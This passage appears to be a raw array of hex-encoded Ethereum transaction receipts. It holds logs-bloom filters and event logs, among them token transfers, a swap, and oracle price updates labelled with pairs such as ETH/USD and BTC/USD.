65bc5d9a0000000000000000000000000000000000000000000000000000000000000006fa0000000000000000000000000a6bf2be6c60175601bf88217c75dd4b14abb5fbbb86031f7494a39416159f52b17758dda7bdafa4215dcf706dfc06cd6f8933b817d2031f7494a39416159f52b17758dda7bdafa4215dcf706dfc06cd6f8933b817d200000000000000000000000000000000000000000000000000000000000000014f8d994a6bf2be6c60175601bf88217c75dd4b14abb5fbbe1a0293e3a2153dc5c8d3667cbd6ede71a71674b2381e5dc4b40c91ad0e813447c0fb8a0000000000000000000000000980205d352f198748b626f6f7c38a8a5663ec981ea46511277ad0d9d47ff09d07eb1e1298bcefa6a6da798de1e0af884002aceb1000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000","0x02f902460183e60720b9010000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008002000000000000000000000000000000000000000000000020000000000000000000800000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000001000000000000080004002000000000000000000000000000000000000000100000000000020000000000000001000000000000000000000000000000000020000000000000000f9013bf89b9488045945952b374abf696602941b51149bad8ab4f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000e8c83b0cb059fe98f4e0bb2b7be404565e5aaa75a00000000000000000000000000000000000000000033b2e3c9fd0803ce8000000f89c9488045945952b374abf696602941b51149bad8ab4f884a02f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0da00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000e8c83b0cb059fe98f4e0bb2b7be404565e5aaa75a0000000000000000000000000e8c83b0cb059fe98f4e0bb2b7be404565e5aaa7580","0xf901090183e65928b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901e50183e6f1e1b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001080000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d99416324d80bfc68b1fec6c288f0dac640a044d2678e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000180ab5200000000000000000000000000000000000000000000000000000000652d2a5500000000000000000000000000000000000000000000000000000000000000074144412f55534400000000000000000000000000000000000000000000000000","0x02f901e50183e78ab2b9010000000000000000000000000400000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000800040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994e7a43467520e4d12d1f9e94b99d6f041786aadcee1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024cba3965500000000000000000000000000000000000000000000000000000000652d2a550000000000000000000000000000000000000000000000000000000000000008574554482f555344000000000000000000000000000000000000000000000000","0x02f901e50183e82377b9010000000000000000000000000000000000000000000000000000000000000000000000080000000000001000000020000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994b52a8b962ff3d8a6a0937896ff3da3879eac64e3e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000005f6321e00000000000000000000000000000000000000000000000000000000652d2a560000000000000000000000000000000000000000000000000000000000000008555344542f555344000000000000000000000000000000000000000000000000","0xf901090183e8ef8fb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901e50183e9883cb9010000000002000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000f8dbf8d994117a5ab00f93469bea455f0864ef9ad8d9630cc9e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000007e060100000000000000000000000000000000000000000000000000000000652d2a5800000000000000000000000000000000000000000000000000000000000000074752542f55534400000000000000000000000000000000000000000000000000","0x02f901e50183ea2101b9010000000000000000000000000000000000000000000000000000004000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000800000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994bbbf9614de2b788a66d970b552a79fae6419abdce1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000005eebd8700000000000000000000000000000000000000000000000000000000652d2a580000000000000000000000000000000000000000000000000000000000000008465241582f555344000000000000000000000000000000000000000000000000","0x02f901e50183eab9d2b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200f8dbf8d99439f46d72bb20c7bcb8a2cdf52630fac1496e859ae1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024f8bc612d00000000000000000000000000000000000000000000000000000000652d2a5a0000000000000000000000000000000000000000000000000000000000000008574554482f555344000000000000000000000000000000000000000000000000","0x02f901e50183eb528bb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000020000000010000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d9945ae58e9dec27619572a42dad916e413afa89e46de1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000019d1f00000000000000000000000000000000000000000000000000000000652d2a5c000000000000000000000000000000000000000000000000000000000000000842414e4b2f555344000000000000000000000000000000000000000000000000","0x02f9043a0183ed1237b9010000200000000000000000002080000000000000000000000000010000000000000000000000000000000000000000200000000000000000000000020000000000000000000400000000002008000000300000000000000000000000008000000000000000008000100000000000000000000000000000000000020010000000000000000080000000004000000000000000000001000000080000104000000000000000000000000000000000000000000000000000000000000000000000000000204002000000001000000000000000000000000000001000000000000020000000000000000000000000000000000000000000000001400000000000000000f9032ff87a94b4fbf271143f4fbf7b91a5ded31805e42b2208d6f842a0e1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109ca00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488da0000000000000000000000000000000000000000000000000000000e8d4a51000f89b94b4fbf271143f4fbf7b91a5ded31805e42b2208d6f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488da000000000000000000000000077f0ea26bae49c9f412a1511730c7c1d3382f697a0000000000000000000000000000000000000000000000000000000e8d4a51000f89b94257c2c98163227062e5a33095a20fc7604ee52b5f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa000000000000000000000000077f0ea26bae49c9f412a1511730c7c1d3382f697a0000000000000000000000000185d901fe591ce516ed9e192b33da3ef14d53b93a0000000000000000000000000000000000000000000000000042a7d29b88844e5f8799477f0ea26bae49c9f412a1511730c7c1d3382f697e1a01c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1b840000000000000000000000000000000000000000000007b61de650eaa9bccab150000000000000000000000000000000000000000000000001adafd27de2bd68bf8fc9477f0ea26bae49c9f412a1511730c7c1d3382f697f863a0d78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488da0000000000000000000000000185d901fe591ce516ed9e192b33da3ef14d53b93b8800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000000000000000000000000000042a7d29b88844e50000000000000000000000000000000000000000000000000000000000000000","0x02f901e50183edaafcb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000800000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994aac02884a376dc5145389ba37f08b0dde08d3f18e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000b37b80500000000000000000000000000000000000000000000000000000000652d2a5e0000000000000000000000000000000000000000000000000000000000000008445944582f555344000000000000000000000000000000000000000000000000","0x02f901e50183ee43c1b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000008000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400040000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994402a30f83bbfc2203e1fc5d8a9bb41e1b0ddc639e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024df2e4ee100000000000000000000000000000000000000000000000000000000652d2a5f00000000000000000000000000000000000000000000000000000000000000074554482f55534400000000000000000000000000000000000000000000000000","0x02f901e50183eedc86b9010000000000000000000000000000000000000000000000000000000000000000040000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000f8dbf8d9943ae963e586b6c1d16f371ac0a1260cdaed6a76bde1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024dcbf623800000000000000000000000000000000000000000000000000000000652d2a5f00000000000000000000000000000000000000000000000000000000000000074554482f55534400000000000000000000000000000000000000000000000000","0x02f901e50183ef753fb9010000000000000000000000000000000000000000000000000000000000000040000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000f8dbf8d994c8f4aeb27fce1f361cda3aadcda992c7ed7b0e74e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000005b67ef00000000000000000000000000000000000000000000000000000000652d2a610000000000000000000000000000000000000000000000000000000000000008444f47452f555344000000000000000000000000000000000000000000000000","0x02f901e50183f00e04b9010000000000000000000000000000000000000000000000000000000004000000000000000000000000001000000000000400000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d99460cfba755fac7178e9a8e133699ad2f7dcf6ad9ae1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000229ca2bd00000000000000000000000000000000000000000000000000000000652d2a620000000000000000000000000000000000000000000000000000000000000008555255532f555344000000000000000000000000000000000000000000000000","0x02f901098083f0647ab9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901e50183f0fd33b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d9945e3b4e52af7f15f4e4e12033d71cfc3afbc7d3c0e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000002c0f30100000000000000000000000000000000000000000000000000000000652d2a6400000000000000000000000000000000000000000000000000000000000000074f4d472f55534400000000000000000000000000000000000000000000000000","0x02f901e50183f195ecb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000f8dbf8d994ffd9e1167e2ad8f323464832ad99a03bda99b7b7e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000150ea000000000000000000000000000000000000000000000000000000000652d2a64000000000000000000000000000000000000000000000000000000000000000847414c412f555344000000000000000000000000000000000000000000000000","0x02f901098083f22563b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901e50183f2be28b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d9940e324d90e9180df65e63438b2af37458b7b7b500e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000004f47321cd00000000000000000000000000000000000000000000000000000000652d2a690000000000000000000000000000000000000000000000000000000000000007424e422f55534400000000000000000000000000000000000000000000000000","0x02f901e50183f356f9b9010000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000f8dbf8d9944a7d0e32e82aea46773c348896761addc51dfb11e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000105dd23061100000000000000000000000000000000000000000000000000000000652d2a6900000000000000000000000000000000000000000000000000000000000000074254432f55534400000000000000000000000000000000000000000000000000","0x02f901e50183f3e4dab9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001080000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d99416324d80bfc68b1fec6c288f0dac640a044d2678e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000018227472200000000000000000000000000000000000000000000000000000000652d2a690000000000000000000000000000000000000000000000000000000000000008414156452f555344000000000000000000000000000000000000000000000000","0x02f901e50183f472c7b9010000000000000000000000000400000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000800040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994e7a43467520e4d12d1f9e94b99d6f041786aadcee1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000285d0fb605900000000000000000000000000000000000000000000000000000000652d2a6a0000000000000000000000000000000000000000000000000000000000000008574254432f555344000000000000000000000000000000000000000000000000","0x02f901e50183f50b8cb9010000000000000000000000000000000000000000000000000000000000000000000000000000000002001000000000000000000000000000000000000010000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d99407c4eee621098c526403b30bdcb17b3722719dcee1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024dfc6ecd300000000000000000000000000000000000000000000000000000000652d2a6a00000000000000000000000000000000000000000000000000000000000000074554482f55534400000000000000000000000000000000000000000000000000","0x02f901e50183f59979b9010000000000000000000000000000000000000000000000000000000000000000000000080000000000001000000020000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994b52a8b962ff3d8a6a0937896ff3da3879eac64e3e1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000002870fd6b6be00000000000000000000000000000000000000000000000000000000652d2a6a0000000000000000000000000000000000000000000000000000000000000008574254432f555344000000000000000000000000000000000000000000000000","0x02f904240183f78797b9010000000000100000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000800600000000000000000000000000000000000000000001082000000000001001000000000000000000000000000000020000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000580000000000000000000000200000000001000000000000000000000000000000000000000000000000000000000000000000000000020000000000000004000000000000000000000000020000000000000000000000000000000000000000000000000000000000000020000f90319f901dc949054f0d5f352fafe6ebf0ec14654da0362dc96caf842a0f6a97944f31ea060dfde0566e4167c1a1082551e64b60ecb14d599a9d023d451a00000000000000000000000000000000000000000000000000000000000011eb6b901800000000000000000000000000000000000000000000000d51cfff1e9a1af7c000000000000000000000000006af57e73d328e2a8ec95e01178d1e2a2a387d66a00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000140000000000000000000000012332e3d78c6cc4a1a0c4dae81535bc000065fa80300000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000d51cfff1e9a1af7c000000000000000000000000000000000000000000000000d51cfff1e9a1af7c000000000000000000000000000000000000000000000000d51cfff1e9a1af7c000000000000000000000000000000000000000000000000d51cfff1e9a1af7c0000000000000000000000000000000000000000000000000000000000000000040001020300000000000000000000000000000000000000000000000000000000f89b949054f0d5f352fafe6ebf0ec14654da0362dc96caf863a00109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac60271a00000000000000000000000000000000000000000000000000000000000011eb6a00000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000652d2a70f89b949054f0d5f352fafe6ebf0ec14654da0362dc96caf863a00559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5fa00000000000000000000000000000000000000000000000d51cfff1e9a1af7c00a00000000000000000000000000000000000000000000000000000000000011eb6a000000000000000000000000000000000000000000000000000000000652d2a70","0x02f901e50183f8156cb9010000000000000000000000000000000000000000000000000000004000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000800000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8dbf8d994bbbf9614de2b788a66d970b552a79fae6419abdce1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000001c062a100000000000000000000000000000000000000000000000000000000652d2a6c000000000000000000000000000000000000000000000000000000000000000853414e442f555344000000000000000000000000000000000000000000000000","0x02f901e50183f8ae31b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000f8dbf8d994e5d686595da780e6fbe88c31b77c1225974c89fbe1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a0000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000024df3d91e000000000000000000000000000000000000000000000000000000000652d2a6d00000000000000000000000000000000000000000000000000000000000000074554482f55534400000000000000000000000000000000000000000000000000","0x02f901e50183f93c06b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200f8dbf8d99439f46d72bb20c7bcb8a2cdf52630fac1496e859ae1a0a7fc99ed7617309ee23f63ae90196a1e490d362e6f6a547a59bc809ee2291782b8a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000005f4f04b00000000000000000000000000000000000000000000000000000000652d2a6e0000000000000000000000000000000000000000000000000000000000000008555344432f555344000000000000000000000000000000000000000000000000","0x02f901090183f9a412b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901c80183faf748b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000008000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000080000000000000004000000000800000000000000000000000000000000000000000000000200000000000000000400000000010000000000000000000000000000000000000000000000004800200000000000000000004000000010000000000000000000000000000000f8bef8bc94e5ff3b57695079f808a24256734483cd3889fa9ef884a0a7aaf2512769da4e444e3de247be2564225c2e7a8f74cfe528e46e17d24868e2a08a767b2e89133b95f135e6803d3b75eb52b9636707f38d986de63283fd028beba0000000000000000000000000000000000000000000000000000000000000803ca000000000000000000000000000000000000000000000000000000000003c1c98a000000000000000000000000000000000000000000000000000000000652d2a70","0x02f901090183fb5cb4b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901090183fbb880b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901090183fdf200b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901090183fe5538b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901090183febd24b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0xf90246018401009066b9010000000000000002000000000000000000000000000000000000800000000000000000000000000000000000000800000000000000000000000000000000000000000100000000000000000008020000000000040000000000000000000000000000000000000008000000000000000000100000000000000000800010800000000000000000000000000000010000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000002000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000004000000000000044f9013af89b9470e53130c4638aa80d5a8abf12983f66e0b1d05ff863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000003e62eb1d9f503f1db36bcfcabdaa7488718eee09a0000000000000000000000000e8c84a631d71e1bb7083d3a82a3a74870a286b97a0000000000000000000000000000000000000000000000000016345785d8a0000f89b943e62eb1d9f503f1db36bcfcabdaa7488718eee09f863a0cb339b570a7f0b25afa7333371ff11192092a0aeace12b671f4c212f2815c6fea0000000000000000000000000000000000000000000000000000000000000235aa0000000000000000000000000e8c84a631d71e1bb7083d3a82a3a74870a286b97a0191ae0366d4470dec94ac0ad040496453fecc903ffbad13da54e39498f84b0ff","0x02f9010a01840100f0f6b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010158f2b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a01840101d1feb90100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000